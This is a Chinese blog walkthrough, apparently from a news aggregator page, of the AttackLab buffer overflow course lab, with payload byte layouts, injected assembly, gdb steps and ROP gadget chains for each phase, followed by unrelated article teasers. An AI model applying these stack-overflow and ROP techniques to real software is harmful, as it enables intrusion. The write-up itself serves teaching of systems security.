news 2026/6/19 10:20:38

从零到一:AttackLab缓冲区溢出攻击实战全解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从零到一:AttackLab缓冲区溢出攻击实战全解析

1. 缓冲区溢出攻击基础入门

第一次接触缓冲区溢出攻击时,我完全被那些专业术语吓到了。什么栈帧、返回地址、ROP链,听起来就像天书一样。但当我真正动手操作后才发现,这些概念其实就像搭积木一样简单直观。

缓冲区溢出本质上就是"数据装多了"。想象你有一个容量固定的水杯(缓冲区),如果一直往里倒水(输入数据),超过容量的部分就会溢出来,流到不该去的地方。在计算机中,这个"不该去的地方"往往就是存储着关键程序信息的内存区域。

AttackLab实验中的getbuf函数就是典型的缓冲区漏洞案例:

unsigned getbuf() { char buf[BUFFER_SIZE]; Gets(buf); return 1; }

这个函数使用不安全的Gets方法读取输入,它不会检查输入长度是否超过缓冲区大小(BUFFER_SIZE)。就像服务员不问你要多少水,直接往杯子里倒,直到你说停为止 - 但攻击者永远不会说"停"。

在x86-64架构中,栈是从高地址向低地址增长的。当函数被调用时,会在栈上分配空间存储局部变量(如buf),然后是保存的寄存器值,最后是返回地址。攻击者精心构造的超长输入可以覆盖这个返回地址,从而控制程序执行流程。

我第一次尝试phase1时,用objdump反汇编ctarget:

objdump -S ctarget > ctarget.s

在ctarget.s中查找getbuf函数,发现它分配了0x28(40)字节的缓冲区空间。这意味着我们需要构造一个至少48字节的字符串(40字节填满缓冲区 + 8字节覆盖返回地址)。

2. 阶段一:最简单的返回地址劫持

phase1是整个实验的"Hello World",它教会我们最基本的攻击模式 - 通过溢出修改返回地址。目标是将getbuf的返回地址从原本的test函数改为touch1函数。

具体操作就像玩填字游戏:

  1. 先用40个任意字符填满buf缓冲区(我习惯用00)
  2. 接着写入touch1的地址000000000040185d
  3. 注意x86是小端序,所以要倒着写:5d 18 40 00 00 00 00 00

把这段十六进制码保存为phase_1.txt,然后用实验提供的hex2raw工具转换:

./hex2raw < phase_1.txt > test.txt ./ctarget < test.txt -q

看到"Touch1!: You called touch1"的瞬间,我激动得差点从椅子上跳起来。这种亲手操控程序执行流程的感觉,比看十篇理论文章都来得深刻。

调试时有个实用技巧:在gdb中设置断点观察栈变化

gdb ./ctarget (gdb) break *getbuf (gdb) run -q < test.txt (gdb) x/20x $rsp

这个命令可以查看栈内存的前20个字,能清晰看到我们的攻击字符串是如何覆盖返回地址的。

3. 阶段二:注入可执行代码

phase2增加了难度要求:不仅要跳转到touch2,还要传递参数。这就需要在栈上注入可执行代码,就像在数据区偷偷藏了个小程序。

x86-64架构中,第一个参数通过rdi寄存器传递。所以我们的攻击代码需要:

  1. 将cookie值(如0x5134f5ad)存入rdi
  2. 跳转到touch2(地址000000000040188b)

汇编代码attack1.s大致长这样:

mov $0x5134f5ad, %rdi push $0x40188b ret

编译后用objdump查看机器码:

gcc -c attack1.s objdump -d attack1.o

关键是要确定这段代码在栈上的位置。通过gdb调试,在getbuf函数内打印$rsp的值就是buf的起始地址。把这个地址作为返回地址,程序就会执行我们注入的代码。

这里有个坑:现代系统默认开启了NX(不可执行栈)保护,但ctarget特意关闭了这个保护,所以我们的代码才能执行。实际环境中这种直接注入代码的方式已经很难奏效了。

4. 阶段三:传递字符串参数

phase3要求传递字符串形式的cookie作为参数。这就像phase2的升级版,需要考虑字符串存储位置和内存布局。

首先要把cookie 0x5134f5ad转换成ASCII码:35 31 33 34 66 35 61 64(注意末尾还要加\0)。字符串可以放在getbuf的栈帧上方,也就是test的栈帧里,这样不会被后续操作覆盖。

攻击代码需要:

  1. 计算字符串地址(通常是getbuf的rsp + 偏移量)
  2. 将地址存入rdi
  3. 跳转到touch3

通过gdb调试,我发现test的栈帧起始于getbuf的rsp+0x28。所以字符串可以放在rsp+0x30处,对应的攻击代码:

mov $0x5562fce8, %rdi # 字符串地址 push $0x4019a2 # touch3地址 ret

这个阶段最考验耐心,因为地址计算必须精确到字节。我失败了七八次才发现问题出在字符串末尾忘了加\0终止符。

5. ROP攻击原理与实践

phase4和phase5引入了ROP(Return-Oriented Programming)技术,这是现代绕过NX保护的经典方法。它就像用乐高积木拼装程序 - 从现有代码中找出有用的片段(gadget),通过ret指令把它们串起来。

每个gadget通常以ret(0xc3)结尾,形如:

58 pop %rax c3 ret

这样的代码片段可以从farm.c提供的机器码中挖掘。使用objdump反汇编rtarget后,在start_farm和end_farm之间搜索:

  1. 首先找pop %rax的gadget(机器码58 c3)
  2. 然后找mov %rax,%rdi的gadget(48 89 c7 c3)
  3. 最后跳转到touch2

构造ROP链就像写购物清单:

[填充40字节] [gadget1地址] # pop %rax [cookie值] # 会被pop到rax [gadget2地址] # mov %rax,%rdi [touch2地址]

实际调试时,我花了三小时才找到可用的gadget组合。关键技巧是在gdb中单步执行,观察每个gadget执行后寄存器的变化。

6. 高级ROP链构造技巧

phase5是终极挑战,需要构造更复杂的ROP链来传递字符串参数。由于ASLR(地址随机化)的关系,我们无法直接知道字符串在栈上的绝对地址,必须通过相对计算得到。

解决方案是:

  1. 用mov %rsp,%rax获取当前栈指针
  2. 通过加法计算字符串偏移量(lea指令)
  3. 最终传递到rdi

从farm中挖掘的gadget链如下:

401ad1: mov %rsp,%rax 401a82: lea (%rdi,%rsi,1),%rax # 需要设置rsi为偏移量 401a4d: mov %rax,%rdi

字符串偏移量需要精心计算。在我的实验中,字符串距离rsp初始位置0x37字节,所以构造:

[填充40字节] [gadget1] # mov %rsp,%rax [gadget2] # lea (%rdi,%rsi,1),%rax [占位符] # 实际是pop %rsi的gadget [0x37] # 偏移量 [gadget3] # mov %rax,%rdi [cookie字符串]

这个阶段让我深刻理解了ROP的精髓 - 就像玩俄罗斯方块,要把各种形状的gadget完美拼接,才能达成目标。每次失败后调整gadget顺序和参数的过程,就是对计算机系统理解不断加深的过程。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/19 10:08:11

沟通管理底层逻辑:共情、清晰、及时、闭环

高效沟通&#xff0c;从来不是能言善辩&#xff0c;而是一套可落地、可复用的做事准则。所有顺畅的团队协作、高效的工作对接、良性的人际沟通&#xff0c;都离不开四大核心底层逻辑&#xff1a;共情、清晰、及时、闭环。共情&#xff1a;放下主观预判&#xff0c;搭建沟通桥梁…

作者头像 李华
网站建设 2026/6/19 10:00:58

HeidiSQL实战指南:从零开始高效管理你的数据库

1. HeidiSQL入门&#xff1a;为什么选择这款数据库管理工具 第一次接触数据库管理工具时&#xff0c;我试过不下十款软件&#xff0c;最后发现HeidiSQL是最适合新手的。它就像数据库界的瑞士军刀&#xff0c;功能全面又简单易用。作为一款开源免费的图形化管理工具&#xff0c;…

作者头像 李华
网站建设 2026/6/19 9:53:08

机器学习安全实战:CleverHans对抗性攻防深度解析

机器学习安全实战&#xff1a;CleverHans对抗性攻防深度解析 【免费下载链接】cleverhans An adversarial example library for constructing attacks, building defenses, and benchmarking both 项目地址: https://gitcode.com/gh_mirrors/cl/cleverhans 在当今人工智…

作者头像 李华
网站建设 2026/6/19 9:52:47

终端数据安全管理系统是什么?推荐5款实测靠谱的终端数据安全系统

最近公司接二连三出现文件外泄的事儿&#xff0c;老板坐不住了&#xff0c;让我赶紧找一套能真正管住电脑、U盘和拍照泄密的系统。说实话&#xff0c;这行业吹牛的多&#xff0c;能扛住真实场景的少。我把市面上喊得响的几家都测了一遍&#xff0c;最后选出5款实测靠谱的&#…

作者头像 李华
网站建设 2026/6/19 9:46:58

158、模组连接器选型:BTB、ZIF、ACF 连接方式对信号完整性的影响

158、模组连接器选型:BTB、ZIF、ACF 连接方式对信号完整性的影响 从一次“鬼影”调试说起 去年Q3,我接手一个旗舰机项目,后置主摄模组在暗光下预览画面边缘出现规律性横纹,像老电视的雪花,但更细密。团队排查了三天:换模组、换FPC、调驱动时序、改电源纹波,问题纹丝不动…

作者头像 李华
网站建设 2026/6/19 9:45:22

想学正规 GEO 优化,该从哪些维度筛选讲师?

当下 GEO 培训市场鱼龙混杂&#xff0c;一类讲师主打 “7 天快速冲 AI 排名”&#xff0c;靠 AI 灌水、批量低质内容、投机算法漏洞做短期数据&#xff1b;另一类只会搬运零散实操技巧&#xff0c;没有完整标准化体系&#xff0c;学完难以长期落地。对于想要深耕正规合规 GEO、…

作者头像 李华